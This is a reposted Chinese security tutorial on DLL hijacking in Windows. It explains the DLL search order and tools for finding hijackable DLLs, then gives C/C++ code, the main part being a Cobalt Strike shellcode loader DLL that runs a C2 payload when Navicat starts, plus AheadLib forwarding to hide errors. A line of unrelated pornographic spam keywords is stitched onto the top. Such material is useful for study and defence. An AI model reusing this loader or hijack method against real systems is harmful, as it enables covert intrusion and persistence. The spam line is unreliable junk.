女人自慰AV免费观看内涵网,日韩国产剧情在线观看网址,神马电影网特片网,最新一级电影欧美,在线观看亚洲欧美日韩,黄色视频在线播放免费观看,ABO涨奶期羡澄,第一导航fulione,美女主播操b

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

DLL簡(jiǎn)介

哆啦安全 ? 來(lái)源:哆啦安全 ? 2023-05-22 15:51 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

DLL 劫持

DLL 簡(jiǎn)介

在 Windows 中,許多應(yīng)用程序并不是一個(gè)完整的可執(zhí)行文件,它們被分割成一些相對(duì)獨(dú)立的動(dòng)態(tài)鏈接庫(kù),即 DLL 文件,放置于系統(tǒng)中。當(dāng)我們執(zhí)行某一個(gè)程序時(shí),相應(yīng)的 DLL 文件就會(huì)被調(diào)用。一個(gè)應(yīng)用程序可使用多個(gè) DLL 文件,一個(gè) DLL 文件也可能被不同的應(yīng)用程序使用,這樣的 DLL 文件被稱為共享 DLL 文件。

DLL 加載順序

如果程序需要加載一個(gè)相對(duì)路徑的 dll 文件,它將從當(dāng)前目錄下嘗試查找,如果找不到,則按照如下順序?qū)ふ遥?/p>

windows xp sp2 之前

Windows 查找 DLL 的目錄以及對(duì)應(yīng)的順序:

進(jìn)程對(duì)應(yīng)的應(yīng)用程序所在目錄;

當(dāng)前目錄(Current Directory);

系統(tǒng)目錄(通過(guò) GetSystemDirectory 獲取);

16 位系統(tǒng)目錄;

Windows 目錄(通過(guò) GetWindowsDirectory 獲取);

PATH 環(huán)境變量中的各個(gè)目錄;

windows xp sp2 之后

Windows 查找 DLL 的目錄以及對(duì)應(yīng)的順序(SafeDllSearchMode 默認(rèn)會(huì)被開(kāi)啟):

默認(rèn)注冊(cè)表為:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其鍵值為 1

進(jìn)程對(duì)應(yīng)的應(yīng)用程序所在目錄(可理解為程序安裝目錄比如 C:ProgramFilesuTorrent)

系統(tǒng)目錄(即 % windir% system32);

16 位系統(tǒng)目錄(即 % windir% system);

Windows 目錄(即 % windir%);

當(dāng)前目錄(運(yùn)行的某個(gè)文件所在目錄,比如 C:Documents and SettingsAdministratorDesktop est);

PATH 環(huán)境變量中的各個(gè)目錄;

windows 7 以上版本

從 Windows7 之后,微軟為了更進(jìn)一步的防御系統(tǒng)的 DLL 被劫持,將一些容易被劫持的系統(tǒng) DLL 寫(xiě)進(jìn)了一個(gè)注冊(cè)表項(xiàng)中,該項(xiàng)下的 DLL 文件就會(huì)被禁止從 EXE 自身所在的目錄下調(diào)用,而只能從系統(tǒng)目錄 SYSTEM32 目錄下調(diào)用,其注冊(cè)表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

1fec4ade-f6a8-11ed-90ce-dac502259ad0.png

自動(dòng)化挖掘

批量尋找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT

1
python generate_pmc_files.py

20375ff6-f6a8-11ed-90ce-dac502259ad0.png

單個(gè)查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

編譯完成后,把 Prerequisites 文件夾里的內(nèi)容拷貝至 ImpulsiveDLLHijack 項(xiàng)目里

20997a4c-f6a8-11ed-90ce-dac502259ad0.png

PLAINTEXT

1
ImpulsiveDLLHijack.exe -path xxx.exe

20d27b12-f6a8-11ed-90ce-dac502259ad0.png

這里使用navicat進(jìn)行測(cè)試,可見(jiàn)運(yùn)行的時(shí)候會(huì)加載C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll

211639ce-f6a8-11ed-90ce-dac502259ad0.png

使用 cs 生成惡意 dll,重命名為oci.dll后放置到該目錄下

216571c4-f6a8-11ed-90ce-dac502259ad0.png

2195cc52-f6a8-11ed-90ce-dac502259ad0.png

手動(dòng)挖掘

Process Monitor 查找可用 dll,設(shè)置如下圖所示

21b2ab4c-f6a8-11ed-90ce-dac502259ad0.png

配置完可以保存導(dǎo)出配置,下次直接導(dǎo)入使用

21dc8db8-f6a8-11ed-90ce-dac502259ad0.png

使用GoogleUpdate.exe進(jìn)行測(cè)試,運(yùn)行程序 filter 加載所使用的 dll 文件

220e551e-f6a8-11ed-90ce-dac502259ad0.png

這里可以看出來(lái),當(dāng)GoogleUpdate.exe程序運(yùn)行的時(shí)候,會(huì)調(diào)用當(dāng)前目錄下的goopdate.dll文件

編寫(xiě)一個(gè)基礎(chǔ)的彈窗 dll

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include 
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加載到內(nèi)存時(shí)運(yùn)行
    case DLL_PROCESS_DETACH://DLL銷毀時(shí)運(yùn)行
    case DLL_THREAD_ATTACH://DLL線程加載時(shí)運(yùn)行
    case DLL_THREAD_DETACH://DLL線程銷毀時(shí)運(yùn)行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

2239d086-f6a8-11ed-90ce-dac502259ad0.png

彈計(jì)算器

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "pch.h"
#include

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

2260496e-f6a8-11ed-90ce-dac502259ad0.png

CS 上線

cs 生成 c 的 payload

22b3825a-f6a8-11ed-90ce-dac502259ad0.png

22d9e846-f6a8-11ed-90ce-dac502259ad0.png

生成的payload填入到下面相應(yīng)的位置上

CPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 頭文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數(shù)
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

2329b3d0-f6a8-11ed-90ce-dac502259ad0.png

運(yùn)行navicat程序就會(huì)上線

2354d240-f6a8-11ed-90ce-dac502259ad0.png

DLL 轉(zhuǎn)發(fā)劫持

有時(shí)候當(dāng)我們替換 dll 后,雖然可以執(zhí)行命令,但是會(huì)產(chǎn)生報(bào)錯(cuò)

239cd3ce-f6a8-11ed-90ce-dac502259ad0.png

這時(shí)候我們可以使用AheadLib工具,使惡意的 DLL 將原有的函數(shù)轉(zhuǎn)發(fā)到原 DLL 中并且釋放惡意代碼

打開(kāi)工具導(dǎo)入 dll 文件,會(huì)生成相應(yīng)的 cpp 文件

直接轉(zhuǎn)發(fā)函數(shù),我們只能控制 DllMain 即調(diào)用原 DLL 時(shí)觸發(fā)的行為可控
即時(shí)調(diào)用函數(shù),可以在處理加載 DLL 時(shí),調(diào)用具體函數(shù)的時(shí)候行為可控,高度自定義觸發(fā)點(diǎn),也稱用來(lái) hook 某些函數(shù),獲取到參數(shù)值

23d2f0bc-f6a8-11ed-90ce-dac502259ad0.png

23fc5baa-f6a8-11ed-90ce-dac502259ad0.png

241c0c66-f6a8-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • dll
    dll
    +關(guān)注

    關(guān)注

    0

    文章

    116

    瀏覽量

    46188
  • WINDOWS
    +關(guān)注

    關(guān)注

    4

    文章

    3613

    瀏覽量

    91388
  • 應(yīng)用程序
    +關(guān)注

    關(guān)注

    38

    文章

    3334

    瀏覽量

    59018

原文標(biāo)題:DLL 劫持

文章出處:【微信號(hào):哆啦安全,微信公眾號(hào):哆啦安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    winspool dll下載

    winspool dll
    發(fā)表于 08-31 15:54 ?12次下載
    winspool <b class='flag-5'>dll</b>下載

    comres.dll下載 (comres.dll文件病毒)

    描述:comres.dll是系統(tǒng)的動(dòng)態(tài)鏈接庫(kù)文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomres.dll   Vist
    發(fā)表于 11-28 14:12 ?113次下載
    comres.<b class='flag-5'>dll</b>下載 (comres.<b class='flag-5'>dll</b>文件病毒)

    dinput8.dll下載 (dinput8.dll文件修復(fù))

     dinput8.dll文件丟失了怎么辦,下載一個(gè)然后到到:C:WINDOWSsystem32 目錄下就可以了。 dinput8 - dinput8.dll - DLL文件信息   
    發(fā)表于 11-28 14:17 ?805次下載
    dinput8.<b class='flag-5'>dll</b>下載 (dinput8.<b class='flag-5'>dll</b>文件修復(fù))

    usp10.dll下載 (usp10.dll文件)

      usp10.dll是什么?usp10.dll是字符顯示腳本應(yīng)用程序接口相關(guān)文件。如果出現(xiàn)"沒(méi)有找到usp10.dll"文件或者"找不到usp10.dll "的問(wèn)題,就下載usp10
    發(fā)表于 11-28 15:04 ?238次下載
    usp10.<b class='flag-5'>dll</b>下載 (usp10.<b class='flag-5'>dll</b>文件)

    如何編寫(xiě)dll文件

    如何編寫(xiě)dll文件:可以用幾種語(yǔ)言來(lái)實(shí)現(xiàn),如delphi編寫(xiě)dll,pb編寫(xiě)dll文件,java 編寫(xiě)dll,vc 編寫(xiě)dll,mfc
    發(fā)表于 01-16 10:20 ?9004次閱讀

    如何用Delphi編寫(xiě)dll文件

    如何用Delphi編寫(xiě)dll文件 一、開(kāi)使你的第一個(gè)DLL專案   1.File->Close all->File->New﹝DLL﹞代碼:  //自動(dòng)產(chǎn)生Code如下 library Proj
    發(fā)表于 01-16 10:27 ?3645次閱讀

    imm32.dll是什么

    imm32.dll是什么 :imm32 - imm32.dll - DLL文件信息   DLL 文件: imm32 或者 imm32.dll
    發(fā)表于 11-28 14:05 ?2590次閱讀

    comres.dll是什么,comres.dll怎么修復(fù)

    comres.dll是什么 comres.dll是系統(tǒng)的動(dòng)態(tài)鏈接庫(kù)文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomre
    發(fā)表于 11-28 14:13 ?1677次閱讀

    dinput8.dll是什么

    dinput8.dll是什么 dinput8 - dinput8.dll - DLL文件信息   DLL 文件: dinput8 或者 dinput8.
    發(fā)表于 11-28 14:17 ?5048次閱讀

    什么是DLL (動(dòng)態(tài)連接庫(kù))

    什么是DLL (動(dòng)態(tài)連接庫(kù)) DLL(動(dòng)態(tài)連接庫(kù)),既然是動(dòng)態(tài),那么就是有靜態(tài)連接庫(kù),我想如果這么說(shuō)大家會(huì)更明白
    發(fā)表于 11-28 14:51 ?1.6w次閱讀

    msvcirt.dll是什么

    msvcirt.dll是什么 msvcirt.dll是微軟C語(yǔ)言程序運(yùn)行庫(kù)相關(guān)文件,用于例如打印。  屬于: Windows   系統(tǒng) DLL文件: 否  常見(jiàn)
    發(fā)表于 11-28 15:12 ?1774次閱讀
    msvcirt.<b class='flag-5'>dll</b>是什么

    mfc71.dll是什么

    mfc71.dll是什么 mfc71.dll是Microsoft基礎(chǔ)類( MFC )在創(chuàng)建Microsoft Visual Studio所使用的應(yīng)用功能模塊,此mfc71.dll并非病毒文件  進(jìn)程位
    發(fā)表于 11-28 15:17 ?2388次閱讀
    mfc71.<b class='flag-5'>dll</b>是什么

    DLL在_FPGA時(shí)鐘設(shè)計(jì)中的應(yīng)用

    DLL在_FPGA時(shí)鐘設(shè)計(jì)中的應(yīng)用,主要說(shuō)明DLL的原理,在Xilinx FPGA中是怎么實(shí)現(xiàn)的。
    發(fā)表于 10-28 14:25 ?1次下載

    labview軟定時(shí)dll文件下載

    labview軟定時(shí)dll文件
    發(fā)表于 01-22 13:46 ?7次下載

    Windows操作系統(tǒng)中DLL簡(jiǎn)介

    本文章是蛇矛實(shí)驗(yàn)室基于"火天網(wǎng)測(cè)網(wǎng)絡(luò)安全測(cè)試平臺(tái)"進(jìn)行編寫(xiě)及驗(yàn)證,通過(guò)火天網(wǎng)測(cè)中的病毒測(cè)試模塊,可以對(duì)文件進(jìn)行詳盡的評(píng)估, 從而對(duì)文件是否存在惡意行為進(jìn)行判斷。
    的頭像 發(fā)表于 10-20 09:52 ?3163次閱讀